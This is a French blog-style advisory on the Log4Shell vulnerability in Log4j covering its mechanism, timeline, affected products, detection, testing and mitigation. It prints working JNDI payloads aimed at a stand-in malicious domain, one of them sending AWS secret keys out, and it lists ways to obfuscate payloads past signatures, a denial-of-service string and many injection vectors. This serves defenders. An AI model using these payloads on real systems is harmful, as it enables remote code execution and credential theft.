Log4j ou Log4Shell, la javapocalypse (CVE-2021-44228 et les autres đŸ˜„)

Log4j ou Log4Shell, la javapocalypse (CVE-2021-44228 et les autres đŸ˜„)

Le blog a Ă©tĂ© dĂ©placĂ© vers Patrowl, vous serez redirigĂ© automatiquement dans 3 secondes, sinon cliquez sur ce lien : https://patrowl.io/log4j-ou-log4shell-la-javapocalypse-cve-2021-44228-et-les-autres-đŸ˜„/

TL;DR : l’annĂ©e se finit en beautĂ© (ou en cauchemar) avec l’une des plus graves vulnĂ©rabilitĂ©s de ces derniĂšres dĂ©cennies, permettant de prendre le contrĂŽle Ă  distance, sans authentification de tellement de choses que je vous renvoie vers le paragraphe « Qui est vulnĂ©rable ? ».

Je vous recommande l'Ă©coute du Podcast NoLimitSecu sur le sujet 😉 : https://www.nolimitsecu.fr/log4shell/

maj 2022-02-08 : Log4J c'est sans fin... ajout des vulnérabilités sur Log4j 1.x (CVE-2022-23302, CVE-2022-23305, CVE-2022-23307)

maj 2022-01-07 : Publication de rÚgles de détection par l'ANSSI

maj 2021-12-29 :

♬ Then put your little hand in mine ♬
♫ There ain't no hill or mountain we can't climb ♫
...
Debout les campeurs et haut les coeurs, n’oubliez pas vos bottes parce que ça caille aujourd’hui.

Vous ĂȘtes bien dans le film « un jour sans fin / Groundhog Day », vous vous rĂ©veillez et Ă  nouveau, il y’a une vulnĂ©rabilitĂ© sur Log4J đŸ˜„ : exĂ©cution de code sur la version 2.17 (CVE-2021-44832) mais qui heureusement ne semble exploitable que dans des cas trĂšs spĂ©cifiques.

maj 2021-12-23 (car oui, j'ai pris des vacances 😉) : websocket, vx-underground, les 3 CVE, virtual patching, les premiùres exploitations selon Cisco et CloudFlare, MITRE ATT&CK

maj 2021-12-15 9h : version 2.16.0

maj 2021-12-14 11h : ajout d'une application volontairement vulnérable

maj 2021-12-14 9h : ajout d'un site listant les logiciels/éditeurs impactés et leurs statuts

Qu’est-ce que Log4j ?

Pour les deux du fond qui sont dans une cave depuis 20 ans ou qui ne sont pas informaticiens 😉 : Java est un langage de programmation haut niveau (comprendre : simplifiant la vie du dĂ©veloppeur) et utilisĂ© pour des applications web, pour des services web, des services « tout court », pour vos applications Android
 en gros c’est utilisĂ© partout.

La bonne pratique de tout bon développeur est de journaliser ce qui se passe, en particulier les erreurs et Java propose par défaut la librairie « java.util.logging » mais comme cette librairie semble trop simpliste, Log4j a été créé : https://web.archive.org/web/20190320144728/http://java.sys-con.com/node/48541

Question One : Do you anticipate a need for any of the clever handlers that Log4j has that JUL does not have, such as the SMTPHandler, NTEventLogHandler, or any of the very convenient FileHandlers?
Question Two : Do you see yourself wanting to frequently switch the format of your logging output? Will you need an easy, flexible way to do so? In other words, do you need Log4j's PatternLayout?
Question Three : Do you anticipate a definite need for the ability to change complex logging configurations in your applications, after they are compiled and deployed in a production environment? Does your configuration sound something like, "Severe messages from this class get sent via e-mail to the support guy; severe messages from a subset of classes get logged to a syslog deamon on our server; warning messages from another subset of classes get logged to a file on network drive A; and then all messages from everywhere get logged to a file on network drive B"? And do you see yourself tweaking it every couple of days?
If you can answer yes to any of the above questions, go with Log4j. If you answer a definite no to all of them, JUL will be more than adequate and it's conveniently already included in the SDK.

Log4j est donc une librairie open source qui permet de journaliser (logger) ce que vous voulez dans le code de vos applications. Elle est maintenue par deux volontaires et en rĂ©alitĂ© ce n’est pas une mais « la » principale librairie utilisĂ©e dans les applications en Java :

https://github.com/search?q=%22import+org.apache.logging.log4j%22&type=code

https://grep.app/search?q=import%20org.apache.logging.log4j

Nous sommes exactement dans le cas de figure illustré par cette image humoristique :

D’oĂč vient la vulnĂ©rabilitĂ© Log4Shell ?

Lorsqu’il journalise une chaĂźne de caractĂšre, log4j essaie d’y trouver des variables pour les remplacer par leur valeur. Par exemple, une variable « ${username} » permettrait de rĂ©cupĂ©rer le nom de l’utilisateur courant.

Log4j supporte en particulier les JNDI, les Java Naming and Directory Interface, qui sont des sortes d’interfaces permettant de rĂ©cupĂ©rer le contenu d’une variable Ă  travers le rĂ©seau.

JNDI permet plusieurs types d’accĂšs au rĂ©seau : annuaire (LDAP), rĂ©solution de nom (DNS), objet de type CORBA, appels Ă  des mĂ©thodes distance (RMI)


Dans le cas de JNDI, la variable suivante permet de rĂ©cupĂ©rer une classe Java par une requĂȘte d’annuaire LDAP : « ${jndi:ldap://ici-le-domaine-malveillant.com/exploit}»

Cette fonctionnalitĂ© date du temps oĂč Java appartenant Ă  Sun/Oracle. Cela aurait dĂ» ĂȘtre supprimĂ©s mais des utilisateurs de Log4Js’y sont opposĂ©s.

Le problĂšme est que JNDI peut ĂȘtre dĂ©tourner pour exĂ©cuter du code, cela avait Ă©tĂ© prĂ©sentĂ© en 2016 Ă  la confĂ©rence BlackHat : https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

Si une application utilisant Log4j reçoit une chaine de caractÚre contenant une variable JNDI, alors elle sera interprétée par Log4j.

Si cette variable contient un lien vers un domaine contrĂŽlĂ© par un attaquant, il pourra rĂ©pondre ce qu’il veut et en particulier une class Java qui sera exĂ©cutĂ©e đŸ€Ż.

Voici fonctionnalités JNDI vulnérables:

Log4j 2.14 contient une vulnérabilité référencée CVE-2021-44228, qui permet une exécution de code à distance avec une charge utile comme : ${jndi:ldap://site-malveillante:389/a}

[mise à jour] Le correctif 2.15 est incomplet et, dans certains cas non standard, permet une exécution de code à distance référencée CVE-2021-45046, avec une charge utile comme : ${jndi:ldap://127.0.0.1#site-malveillante:389/a}

[mise à jour] Le correctif 2.16 est incomplet et permet à un déni de service (DoS) référencé CVE-2021-45105, avec une charge utile comme : ${${::-${::-$.${::-j}}}}

[mise Ă  jour] Le correctif 2.17 est incomplet et, si l'attaquant peut modifier la configuration en ajoutant un complĂ©ment JDBC (JDBCAppender), permet une exĂ©cution de code Ă  distance rĂ©fĂ©rencĂ©e CVE-2021-44832 😭 .

Log4j – Apache Log4j Security Vulnerabilities

Heureusement, cette vulnĂ©rabilitĂ© ne semble exploitable que si l’attaquant peut modifier la configuration du logger, ce qui me semble quand mĂȘme peu probable dans des configurations classiques. Par contre, si un attaquant a accĂšs :

  • A votre dĂ©pĂŽt type git, dans lequel vous stocker vos configurations, redĂ©ployĂ©es rĂ©guliĂšrement
  • A la machine d’un des dĂ©veloppeurs ou DevOps (mais bon, il aura mieux Ă  faire que modifier log4j2.xml 😉)

Alors il pourra modifier la configuration du logger et obtenir à nouveau une exécution de code.

Voici la publication du salarié de CheckMarx ayant découvert cette nouvelle vulnérabilité :  https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/

Exemple de configuration avec "JDBCAppender" :

A noter que toutes les versions de Java semblent vulnérables : https://twitter.com/laughing_mantis/status/1470412026119798786?s=11

[mise Ă  jour] Avec Log4j “quand y’en a plus, y’en a encore” et plusieurs vulnĂ©rabilitĂ©s ont Ă©tĂ© publiĂ©es sur Log4j 1.x :

  • CVE-2022-23302, exĂ©cution de code depuis le gestionnaire d'Ă©vĂ©nements JMSSink, uniquement si l’attaquant peut modifier la configuration Log4j ce qui est vraiment trĂšs peu probable
  • CVE-2022-23305, exĂ©cution de code depuis le module d’écriture de log en base JDBCAppender, uniquement si l’attaquant peut modifier la configuration Log4j ce qui est vraiment trĂšs peu probable
  • CVE-2022-23307, dans l’interface (GUI) Chainsaw (inclu dans Log4j 1.2.x)

https://logging.apache.org/log4j/2.x/security.html
https://media.cert.europa.eu/static/SecurityAdvisories/2021/CERT-EU-SA2021-067.pdf

Chronologie de la découverte (CVE-2021-44228)

La chronologie exacte n’est pas connue pour l’instant mais des joueurs de Minecraft aurait dĂ©couvert cette vulnĂ©rabilitĂ© et l’auraient utilisĂ© pour attaquer les serveurs d’autres joueurs (uniquement pour la version de Minecraft en Java qui permet les mod).

Disposer d’une vulnĂ©rabilitĂ© permettant de compromettre tout internet et ne l’utiliser que pour tricher Ă  Minecraft, quel gĂąchis 😉.

[mise Ă  jour] Cisco et CloudFlare disposant d’une surface d'Ă©coute d'internet trĂšs large, ils ont pu rĂ©aliser des Ă©tudes afin de rechercher des traces des premiĂšres exploitations de la vulnĂ©rabilitĂ©. Selon eux, les premiĂšres exploitations dateraient du 1er dĂ©cembre 2021 pour dĂ©ployer des mineurs de cryptomonnaie : https://therecord.media/log4shell-attacks-began-two-weeks-ago-cisco-and-cloudflare-say/ . C’est en soit un peu rassurant, cela permet de ne pas avoir Ă  rechercher dans ses logs sur les 5 derniĂšres annĂ©es 😉.

L’exploitation de la vulnĂ©rabilitĂ© a Ă©tĂ© dĂ©couverte, puis corrigĂ©e dans la librairie mais sans vraiment noter qu’il s’agissait d’un problĂšme de sĂ©curitĂ©.

Le 12 novembre 2021, un chercheur l’équipe sĂ©curitĂ© d’Alibaba Cloud a officiellement reportĂ© la correction comme Ă©tant une faille de sĂ©curitĂ© et tout s’est emballĂ© dans les jours qui ont suivi avec surtout la publication des premiers codes d’exploitation jeudi 9 dĂ©cembre et vendredi 10 dĂ©cembre.

Depuis, cette vulnĂ©rabilitĂ© est massivement exploitĂ©e dans la nature pour
 dĂ©ployer des mineurs de cryptomonnaie, quel gĂąchis 😉.

Il y’a depuis pas mal d’exploitation qui visent Ă  exfiltrer des donnĂ©es ou tout simplement les variables d’environnement des cibles qui parfois, contiennent des secrets comme sur les instances AWS EC2.

[mise à jour] Les attaquant ont commencé à déployer des outils de prise de contrÎle, des malware bancaires (Dridex), des vers type Mirai
 Vous pourrez trouver une bonne partie des malwares (au sens large) utilisés par les attaquants chez VX-Underground : https://samples.vx-underground.org/samples/Families/Log4J%20Malware/

Voici un exemple du code d’exploitation pour sortir les variables d’environnement : « ${jndi:ldap://ici-le-domaine-malveillant.com/exploit/${env:AWS_SECRET_ACCESS_KEY}}»

Voici une liste rĂ©guliĂšrement mise Ă  jour, d’adresses IP tentant d’exploiter la vulnĂ©rabilitĂ© :  https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217

Vous pouvez bloquer sans trop de craintes ces IP (mĂȘme si cette liste reste publiĂ©e dans trop de contrĂŽle 😅).

CVSSv3 = 10.0 / 10.0

La note technique CVSSv3 de la vulnĂ©rabilitĂ© est de 10.0/10.0, c’est une exĂ©cution de code Java Ă  distance et elle a le niveau de criticitĂ© le plus Ă©levĂ©.

Il est surtout trÚs facile de la déclencher soit directement, soit indirectement.

Comme la vulnĂ©rabilitĂ© est dĂ©clenchĂ©e lors de la rĂ©ception de la chaĂźne de caractĂšres Ă  journaliser, si une information Ă  journaliser (une ligne de log) est envoyĂ©e Ă  un concentrateur de log utilisant Log4j, vous avez la capacitĂ© d’exĂ©cuter du code sur cet actif, mĂȘme s’il n’est pas directement joignable ou au fin fond d’une DMZ. C’est pour cela que je donnerais plutĂŽt 11.0/10.0 Ă  cette vulnĂ©rabilitĂ© 😉.

Vous avez un SIEM hors-ligne basé sur ELK ou Splunk qui centralise vos logs ? Vous pouvez vous le faire compromettre.

Qui est vulnérable ?

Une quantitĂ© folle d’applications, de services, d’entreprises
 sont vulnĂ©rables, tant Java est utilisĂ© partout et tant cette vulnĂ©rabilitĂ© est exploitable de milles façons :

  • Des tas de services web en Java qui vont journaliser certains de vos entĂȘtes comme « User-Agent » https://twitter.com/u039b/status/1469375014046687239?s=11
  • Apple iCloud, vous nommez un WiFi avec l’exploit, un iPhone voit votre WiFi et « bim » (car Apple renvoie tous les noms des points d’accĂšs WiFi que vous voyez Ă  iCloud)
  • AWS et en particulier AWS S3 https://twitter.com/russss/status/1469434078554382353?s=11
  • Azure
  • CloudFlare
  • VMWare vCenter depuis l’entĂȘte « X-Forwarded-For » (Ă  noter que le correctif actuellement distribuĂ© pour la version 6.x ne marche pas)
  • VMWare, Ă©normĂ©ment de produits comme Horizon, Carbon Black EDR Server
 https://www.vmware.com/security/advisories/VMSA-2021-0028.html
  • Les backend d’éditeurs d’EDR comme Carbon Black, CrowdStrike
 laissant potentiellement accĂšs aux donnĂ©es des clients
  • Cisco, des tas de produits dont AnyConnect Secure Mobility Client, Firepower Management Center (ex-SourceFire),  IOS et IOS XE Software, Nexus, SD-WAN vEdge
 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
  • Twitter par un simple tweet ? 😉
  • ElasticSearch, donc vos SIEM hors-ligne aussi
  • Logstash sans surprise
  • Splunk donc vos SIEM hors-ligne aussi
  • Apache Solr
  • Apache Druid
  • Apache Flink
  • Apache Struts2
  • Redis la base de donnĂ©es clef/valeur
  • Github
  • McAfee
  • SolarWinds, pour changer

  • Steam
  • L’outil de la NSA : Ghidra, ce qui laisse Ă  penser qu'ils n'avaient pas connaissance de la vulnĂ©rabilitĂ©
  • LinkedIn
  • SonicWall
  • Kafka
  • Puppet
  • Le proxy Cloud de Zscaler
  • Apache JAMES SMTP
 dont je n’ai jamais entendu parler đŸ€Ł

Si vous souhaitez en savoir plus sur les logiciels commerciaux ou open source vulnérable, en voici plusieurs listes mais asseyez-vous bien avant de cliquer et inspirer bien profondément:

En plus de tous ces logiciels, vous pouvez exploiter la vulnĂ©rabilitĂ© en utilisant une simple requĂȘte HTTP sur un site ou une application vulnĂ©rable en mettant la charge utile dans les entĂȘtes classiques comme « Referer » ou « User-Agent » ou « X-Forwarder-For ».

Vous pouvez aussi exploiter la vulnĂ©rabilitĂ© en envoyant un simple mail contenant le code d’exploitation dans le titre : https://twitter.com/xssfox/status/1469516383692091393?s=11

Vous pouvez également exploiter la vulnérabilité indirectement en positionnant la charge utile dans :

  • Le fichier robots.txt Ă  la racine de votre site
  • Le fichier security.txt Ă  la racine de votre site
  • Vos enregistrements DNS de type « TXT »
  • Certains entĂȘtes des mails que vous envoyez
  • L’adresse mail de l’expĂ©diteur de vos mails car sachez que «  bisous+(${jndi:ldap://ici-le-domaine-malveillant.com/exploit})@votre-domaine.com » est une adresse mail valide au sens de la RFC 822
  • L’identifiant que vous utilisez pour vous authentifier sur un site
  • Le mot de passe que vous utilisez pour vous authentifier sur un site
  • Les champs de vos certificats SSL/TLS
  • Le nom du votre rĂ©seau WiFi car iPhone, l’appli Instagram
 envoient les noms des rĂ©seaux WiFi (BSSID) environnant Ă  l’éditeur
  • Le nom de votre appareil dĂ©tectable en Bluetooth
  • Les mĂ©tadonnĂ©es de vos images
  • Les mĂ©tadonnĂ©es des champs EXIF de vos images
  • Les mĂ©tadonnĂ©es de vos fichiers type PDF, Docx, Excel

  • Soyez crĂ©atif 😉

WebSocket

Les navigateurs modernes supportent la fonctionnalitĂ© de WebSocket, c’est-Ă -dire qu’il est possible d’ouvrir une connexion HTTP depuis une page web avec du code Javascript et donc de faire des requĂȘtes web.

Cela parait Ă©vident une fois qu’on le sait 😉 mais la vulnĂ©rabilitĂ© Log4J est exploitable depuis un navigateur Ă  partir d’une WebSocket. Si un utilisateur d’une entreprise navigue sur un site web malveillant, depuis le systĂšme d’information de cette mĂȘme entreprise (ou en VPN), alors ce site web peut lĂ©gitimement demander au navigateur de scanner le rĂ©seau interne (il y’a pleins d’exemples sur internet) et de tenter d’exploiter la vulnĂ©rabilitĂ© sur les services internes joignable. C’est en fait ultra simple, ultra Ă©vident quand on le sait et
 terriblement efficace 😞.

Cette mĂ©thode peut ĂȘtre exploitĂ©e par le simple envoie d’un mail contenant un lien malveillant.

https://www.zdnet.com/article/security-firm-blumira-discovers-major-new-log4j-attack-vector/

DĂ©tecter la prĂ©sence d’une exploitation

DĂ©tecter

Florian Roth a mise en ligne un outil permettant de rechercher la prĂ©sence de trace d’exploitation, mĂȘme dans les archives .gz : https://github.com/Neo23x0/log4shell-detector

A noter que pour VMWare, le répertoire à scanner est « /storage/log/vmware/ »

Vous lancez l’outil à la racine de vos serveurs et c’est tout :

Sinon, vous pouvez juste faire des recherches simples dans vos logs.

Le plus simple est de déjà détecter la présence de  « ${ » dans une chaßne de caractÚres mais avec un risque de faux positifs. Sinon, il faut aussi chercher les autres caractÚres non obfuscables comme « : », « / », « . » et « } ».

Voici une expression réguliÚre peu performante qui fera le boulot de détection mais génÚrera pas mal de faux positifs, acceptables temporairement vu la situation : « \${.*\:.*\/.*\/.*} »

[mise Ă  jour] L'ANSSI vient Ă  nouveau de mettre Ă  jour son bulletin d'alerte avec des rĂšgles de dĂ©tection pour l'IDS Suricata, dans un PDF avec toutes les explications et dans un fichier TXT avec uniquement les rĂšgles, bravo l'ANSSI 🙏.

MITRE ATT&CK

Si vous souhaitez rĂ©fĂ©rencer l’exploitation de cette vulnĂ©rabilitĂ© avec les identifiants du framework ATT&CK, les voici :

MĂ©thode de contournement des signatures

Du fait des diffĂ©rentes possibilitĂ©s d’écritures des chemins JNDI et de leur interprĂ©tation par Java, il est possible de facilement obfusquer l’exploit et voici quelques exemples :

${jndi:dns://ici-le-domaine-malveillant.com/exploit }
${jndi:${lower:l}${lower:d}a${lower:p}://ici-le-domaine-malveillant.com/exploit
${$lower:J}${lower:n}${lower:D}i:${lower:rMi}://ici-le-domaine-malveillant.com/exploit}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ici-le-domaine-malveillant.com/exploit}

Voici un tweet avec encore plus d’obfuscation : https://twitter.com/wugeej/status/1469982901412728832?t=gom5LhC8ClE275b46SYgNA

Tester la présence de la vulnérabilité

Twitter regorge d’outils et de PoC pour tester la prĂ©sence de la vulnĂ©rabilitĂ©. Il est Ă  noter que vulnĂ©rabilitĂ© peut s’activer des heures aprĂšs vos tests, nous l'avons eu chez plusieurs clients.  C'est un comportement commun mais encore inexpliquĂ© : https://twitter.com/mubix/status/1470747203811651592?s=21

Nuclei

Le test a Ă©tĂ© intĂ©grĂ© Ă  Nuclei et repose sur un appel externe Ă  interactsh.com . Ce n’est pas d’une discrĂ©tion folle d’autant que les hĂ©bergeurs de interactsh sauront que vous ĂȘtes vulnĂ©rables mais au moins, cela fonctionne :

https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-44228.yaml

Burp

Voici un plugin pour Burp permettant de détecter une cible vulnérable : https://github.com/whwlsfb/Log4j2Scan

Il utilise une dizaine de techniques d’obfuscation et test nombreux entĂȘtes (user-agent, rĂ©fĂ©rer, x-forwarded-for, x-real-ip
)

Patrowl

Bon, je suis obligĂ© de faire un peu d’auto-promo car le contrĂŽle est intĂ©grĂ© Ă  Patrowl 😉, donc si vous avez Patrowl, vous ĂȘtes tranquille.

Manuellement

Vous pouvez aussi le faire vous-mĂȘme et crĂ©er un jeton (token) de test DNS chez vous ou avec https://canarytokens.org/generate#

Copiez le jeton (token) généré :

Construisez votre charge utile, ici : ${jndi:ldap://v4a2rv8dr3w93v6rbiuirsj45.canarytokens.com/a}

Utilisez cette charge utile pour tester votre application dans un entĂȘte « user-agent », dans un paramĂštre de recherche
.

⚠⚠⚠

Si vous testez la vulnĂ©rabilitĂ© avec des services externes comme interact.sh, interactsh.com, canarytokens.org ou dnslog.cn, faites quand mĂȘme attention, vous ne savez pas qui est derriĂšre ces services et ce qu’ils feront des informations que vous leur donnez 😉. L’idĂ©al est de monter son propre serveur DNS avec un outil comme DnsChef https://github.com/iphelix/dnschef      pour voir et rĂ©pondre aux requĂȘtes DNS ou avec l’outil interactsh https://github.com/projectdiscovery/interactsh

Application volontairement vulnérable

Si vous souhaitez tester vos charges utiles (payload), voici une application vulnĂ©rable dĂ©veloppĂ©e pour l’occasion : https://github.com/leonjza/log4jpwn

Que faire ?

C’est trĂšs compliquĂ© car la vulnĂ©rabilitĂ© peut se trouver Ă  tellement d’endroits
 pour faire simple : c’est la merde et vous risquez d’en avoir pour des jours, voire des semaines, d’autant que cette vulnĂ©rabilitĂ© arrive en pleines fĂȘtes de NoĂ«l, en plein pendant vos gels de fin d’annĂ©es (vos « freeze » annuels de toute modification sur vos infrastructures).

Il faut ĂȘtre capable de cartographier son systĂšme d’information au sens large en identifiant tous les Ă©diteurs afin de savoir s’ils sont vulnĂ©rables ainsi que tous vos logiciels, services, applications
 en Java qui pourraient ĂȘtre vulnĂ©rables.

Pour les Ă©diteurs, il faut suivre les bulletins d’alertes, utiliser le git de SwitHak citĂ© plus haut et suivre l’actualitĂ© sĂ©curitĂ© car cela risque de bouger trĂšs vite dans les jours qui viennent.

Ensuite, il faut ĂȘtre capable de savoir si vos logiciels utilisent Log4j dans les versions vulnĂ©rables (cf. bulletin de l’ANSSI), ce qui n’est pas trivial. Suivant la version de Java, la version de Log4j
 il vous faudra dĂ©cider de mettre Ă  jour ou d’appliquer un contournement.

En parallÚle, il est important de continuer à rechercher les exploitations potentielles de la vulnérabilité partout.

Le bulletin de l’ANSSI : https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/

Corriger

Le mieux est de mettre à jour avec la derniÚre version de log4j car les versions intermédiaire sont vulnérables à un déni de service ou une exécution de code à distance.

En thĂ©orie il est possible de rester en 2.16.0 car ce n’est qu’un dĂ©ni de service, mais je recommande plutĂŽt de peser le pour et le contre en se posant cette question : est-il plus facile/rapide pour moi de qualifier le besoin de cette nouvelle mise Ă  jour vs le temps et la difficultĂ© Ă  mettre Ă  jour.

Si la mise Ă  jour se fait en 1 clic ou en une seule commande mettant Ă  jour 2000 serveurs, sans impact de disponibilitĂ© de la plateforme, n’hĂ©sitez pas Ă  passer en 2.17.1 😉.

S’il faut redĂ©marrer des hyperviseurs avec un arrĂȘt complet de vos services pendant 2 heures, restez en 2.16.0 pour l’instant.

Contournements

Il est possible de mettre en place une variable dĂ©sactivant les rĂ©solutions de nom, limitant l’exploitation de la vulnĂ©rabilitĂ© mais ne la corrige pas :

  • Soit en modifiant la ligne de commande de l’appel au logiciel : # java ... ‐Dlog4j2.formatMsgNoLookups=True ... -jar mon_appli_toute_moisie.jar
  • Soit en mettant en place une variable d’environnement dans le fichier .profile du compte exĂ©cutant le service : « export LOG4J_FORMAT_MSG_NO_LOOKUPS=true»
  • Pour les applications en Docker, dans le fichier « Dockerfile », il faut ajouter « ENV LOG4J_FORMAT_MSG_NO_LOOKUPS=true »
  • Ou dans le fichier « Dockerfile», au niveau de la ligne de commande, il faut ajouter « CMD ["java", "-Dlog4j.formatMsgNoLookups=true", "-jar", "..."] »
  • Ou dans le fichier « docker-compose.yml », il faut ajouter:
web:
environment:
- LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Plus de détails ici : https://www.docker.com/blog/apache-log4j-2-cve-2021-44228/

Virtual patching

Plusieurs entreprises, dont AWS, proposent des solutions permettant de corriger la vulnérabilité juste en redémarrant le service en lui adjoignant une bibliothÚque complémentaire chargée de corriger le problÚme en mémoire.

En voici trois :

Avec la phrase ci-dessous, le dernier article permet de comprendre que des logiciels payant avec DRM embarquent des logiciels libres đŸ€Šâ€â™‚ïž :

<<The benefit [
] negate the vulnerability [...] so long as it isn’t obfuscated (e.g. with proguard), in which canse you may not be in a good position to update it anyway. >>

Cloisonner

Cela fait partie des bonnes pratiques : il faut filtrer strictement les flux, en particulier sortants afin d’empĂȘcher un serveur vulnĂ©rable d’aller chercher un code d’exploitation quelque part ou de dialoguer avec un serveur de command and control (C2).

Bon courage Ă  tous !

Au moment oĂč j’écris ces lignes, Guillaume Poupard, le directeur de l’ANSSI, vient de publier :

<< 🚹Une vulnĂ©rabilitĂ© a Ă©tĂ© dĂ©couverte dans la bibliothĂšque de journalisation Apache log4j. [...]
Cette vulnĂ©rabilitĂ© permet Ă  un attaquant de provoquer une exĂ©cution de code arbitraire Ă  distance s'il a la capacitĂ© de soumettre une donnĂ©e Ă  une application qui utilise la bibliothĂšque log4j pour journaliser l'Ă©vĂšnement. Cette attaque peut ĂȘtre rĂ©alisĂ©e sans ĂȘtre authentifiĂ©, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification.
Des preuves de concept ont dĂ©jĂ  Ă©tĂ© publiĂ©es et des codes d'exploitation sont susceptibles d'ĂȘtre rapidement dĂ©veloppĂ©s.
Les dĂ©tails dans l’alerte CERTFR-2021-ALE-022👇
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/>>

https://www.linkedin.com/posts/guillaume-poupard-3604531b5_objet-vuln%C3%A9rabilit%C3%A9-dans-apache-log4j-activity-6875847639280234496-2mcz